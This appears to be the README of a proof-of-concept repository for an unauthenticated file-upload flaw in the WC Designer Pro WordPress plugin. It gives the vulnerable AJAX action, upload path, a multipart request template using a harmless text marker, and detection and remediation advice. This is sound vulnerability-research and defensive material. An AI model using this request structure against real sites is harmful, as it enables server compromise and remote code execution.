Table of Contents

• Vulnerability Overview
• Security Impact
• Affected Versions
• Root Cause
• Attack Flow
• Requirements
• Installation
• Usage
• Technical Details
• Safe Verification
• Indicators of Exposure
• Remediation
• Legal and Ethical Use
• Disclosure Status
• References
• Credits

Vulnerability Overview

WC Designer Pro contains an unauthenticated arbitrary file-upload vulnerability in an AJAX action exposed through WordPress's admin-ajax.php endpoint.

The affected handler processes user-controlled file metadata and file contents without enforcing adequate authentication, authorization, extension validation, MIME-type validation, or server-side filename restrictions.

Under vulnerable configurations, an unauthenticated attacker may be able to upload a server-executable file into a web-accessible directory. Successful exploitation may result in remote code execution under the privileges of the web server process.

The exact affected version range, CVE identifier, and CVSS score must only be published after they have been independently verified.

Security Impact

Successful exploitation could allow an unauthenticated attacker to:

• Upload unauthorized files to the WordPress installation.
• Store files inside a publicly accessible uploads directory.
• Execute server-side code when executable extensions are accepted.
• Read or modify data accessible to the web server account.
• Compromise the affected WordPress installation.
• Use the compromised server as a pivot point for further attacks.

The final impact depends on the web server configuration, PHP execution rules, filesystem permissions, and security controls deployed by the hosting provider.

Affected Versions

The affected version range is currently being validated.

Product: WC Designer Pro
Affected versions: To be confirmed
Fixed version: To be confirmed
Patch status: To be confirmed

Do not state that every version is affected unless testing or vendor confirmation supports that conclusion.

Root Cause

The vulnerable upload flow appears to trust attacker-controlled values supplied to the following AJAX action:

wcdp_save_canvas_design_ajax

The request contains file metadata such as:

• File extension
• File identifier
• Destination identifier
• Uploaded file contents

The vulnerability exists when the server accepts these values without performing all of the following controls:

1. Authentication and authorization checks.
2. WordPress nonce validation.
3. Strict extension allowlisting.
4. MIME-type validation based on file content.
5. Filename normalization and sanitization.
6. Enforcement of a non-executable upload destination.
7. Prevention of direct web access to temporary files.

Attack Flow

Unauthenticated request
          │
          ▼
/wp-admin/admin-ajax.php
          │
          ▼
action=wcdp_save_canvas_design_ajax
          │
          ▼
Insufficient validation of uploaded file
          │
          ▼
File written to a web-accessible directory
          │
          ▼
Potential server-side code execution

The observed upload path follows this structure:

/wp-content/uploads/wcdp-uploads/temp/{identifier}/{filename}

The exact path may vary depending on plugin version, WordPress configuration, and server environment.

Requirements

• Python 3.8 or newer
• pip
• A WordPress laboratory environment
• An authorized target
• A vulnerable WC Designer Pro installation

This proof of concept must not be used against third-party systems without explicit written authorization.

Installation

Clone the repository:

git clone https://github.com/m2hcz/wcdp-security-poc.git
cd wcdp-security-poc

Create and activate a virtual environment:

python3 -m venv .venv
source .venv/bin/activate

On Windows:

python -m venv .venv
.venv\Scripts\Activate.ps1

Install the dependencies:

pip install -r requirements.txt

Example requirements.txt:

requests>=2.28.0
urllib3>=1.26.0
rich>=13.0.0

Usage

The proof of concept should be executed only against a single authorized laboratory target.

python3 exploit.py --url https://wordpress-lab.example

For a non-destructive verification:

python3 exploit.py \
  --url https://wordpress-lab.example \
  --file ./payloads/verification.txt

Example verification file:

WC Designer Pro security verification
Researcher: m2hcz
Purpose: Authorized non-destructive testing

Use the built-in help command to view the supported arguments:

python3 exploit.py --help

Example output:

usage: exploit.py [-h] --url URL [--file FILE] [--timeout SECONDS]

WC Designer Pro arbitrary file-upload verification PoC

options:
  -h, --help         show this help message and exit
  --url URL          authorized WordPress target
  --file FILE        harmless verification file
  --timeout SECONDS  HTTP request timeout

Technical Details

Vulnerable Endpoint

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: wordpress-lab.example
Content-Type: multipart/form-data; boundary=----Boundary

The request invokes:

action=wcdp_save_canvas_design_ajax

A simplified request structure is shown below:

------Boundary
Content-Disposition: form-data; name="action"

wcdp_save_canvas_design_ajax
------Boundary
Content-Disposition: form-data; name="params"

{
  "mode": "save",
  "editor": "frontend",
  "uniq": "research-verification",
  "files": [
    {
      "name": "verification",
      "ext": "txt",
      "count": "file1"
    }
  ]
}
------Boundary
Content-Disposition: form-data; name="file1"; filename="verification.txt"
Content-Type: text/plain

Authorized security verification
------Boundary--

This example intentionally uses a non-executable text file.

Observed Response

A successful request may return a response similar to:

{
  "userID": false,
  "filesCMYK": [],
  "success": true
}

A successful response alone does not prove remote code execution. The researcher must separately confirm that:

1. The file was created.
2. The file is accessible.
3. The destination directory permits server-side execution.
4. The test was conducted in an authorized environment.

Safe Verification

The recommended verification procedure is:

1. Deploy WordPress in an isolated local environment.
2. Install the suspected vulnerable plugin version.
3. Create a harmless .txt marker file.
4. Submit the marker using the affected AJAX action.
5. Confirm whether the file was stored without authentication.
6. Record the HTTP request and response.
7. Delete the uploaded marker file.
8. Destroy or reset the laboratory environment.

Avoid uploading web shells or command-execution payloads when a harmless marker file is sufficient to demonstrate the vulnerability.

Expected Evidence

A valid report should contain:

• WordPress version.
• WC Designer Pro version.
• Web server and PHP versions.
• Complete HTTP request.
• Complete HTTP response.
• Resulting file path.
• Proof that no authenticated session was used.
• Screenshot or log confirming the uploaded marker.
• Cleanup confirmation.

Indicators of Exposure

Administrators should inspect the following directory:

/wp-content/uploads/wcdp-uploads/temp/

Potential indicators include:

• Unexpected .php, .phtml, .phar, or similar executable files.
• Randomly named subdirectories.
• Files created by unknown users.
• Requests to admin-ajax.php using the affected AJAX action.
• HTTP requests accessing newly created files inside the temporary upload directory.
• Child processes unexpectedly created by the PHP or web server process.

Example log search:

grep -R "wcdp_save_canvas_design_ajax" /var/log/nginx/ /var/log/apache2/

Example filesystem search:

find wp-content/uploads/wcdp-uploads/temp \
  -type f \
  \( -name "*.php" -o -name "*.phtml" -o -name "*.phar" \)

Remediation

Site administrators should:

1. Update WC Designer Pro to a confirmed patched version when one becomes available.
2. Disable and remove the plugin when no patch is available.
3. Block server-side script execution inside WordPress upload directories.
4. Inspect the temporary upload directory for unauthorized files.
5. Review web server access logs for exploitation attempts.
6. Rotate WordPress salts and administrative credentials if compromise is suspected.
7. Rotate database, hosting, FTP, SSH, and API credentials when relevant.
8. Rebuild the WordPress installation from trusted sources after confirmed compromise.

Recommended Server Configuration

For Nginx, deny PHP execution inside uploads:

location ~* /wp-content/uploads/.*\.php$ {
    deny all;
    return 403;
}

For Apache, place an appropriate rule inside the uploads directory:

<FilesMatch "\.(php|phtml|phar|php[0-9]*)$">
    Require all denied
</FilesMatch>

These controls are defense-in-depth measures and do not replace fixing the vulnerable plugin code.

Recommended Code-Level Controls

Plugin maintainers should:

• Require authentication where appropriate.
• Verify user capabilities with current_user_can().
• Require and validate a WordPress nonce.
• Use a strict allowlist of permitted extensions.
• Validate files using wp_check_filetype_and_ext().
• Generate server-side filenames.
• Store temporary files outside the web root when possible.
• Prevent executable content from being stored in upload directories.
• Return generic errors without exposing internal paths.

Legal and Ethical Use

This repository is intended exclusively for:

• Authorized penetration testing.
• Vulnerability research.
• Defensive validation.
• Security education.
• Reproduction in isolated laboratory environments.

Do not use this code to access, modify, disrupt, or compromise systems without explicit authorization.

The author is not responsible for unauthorized, illegal, or abusive use of this material. Users are solely responsible for complying with applicable laws, contracts, rules of engagement, and coordinated vulnerability-disclosure requirements.

Disclosure Status

Discovery date:       To be added
Vendor contacted:     To be added
Vendor response:      To be added
Patch released:       To be added
CVE requested:        To be added
CVE assigned:         To be added
Public disclosure:    To be added

Do not publish a placeholder CVE as though it were an assigned identifier.

When a CVE is assigned, replace the placeholder with the official record:

CVE: CVE-YYYY-NNNNN
CVSS: Official or documented researcher assessment

References

• WordPress Plugin Security
• WordPress AJAX Documentation
• OWASP File Upload Cheat Sheet
• OWASP Unrestricted File Upload
• CWE-434: Unrestricted Upload of File with Dangerous Type

Credits

Changelog

v1.0.0

• Added vulnerability verification workflow.
• Added non-destructive marker-file support.
• Added endpoint and plugin exposure detection.
• Added structured evidence collection.
• Added request timeout and error handling.
• Added remediation and incident-response guidance.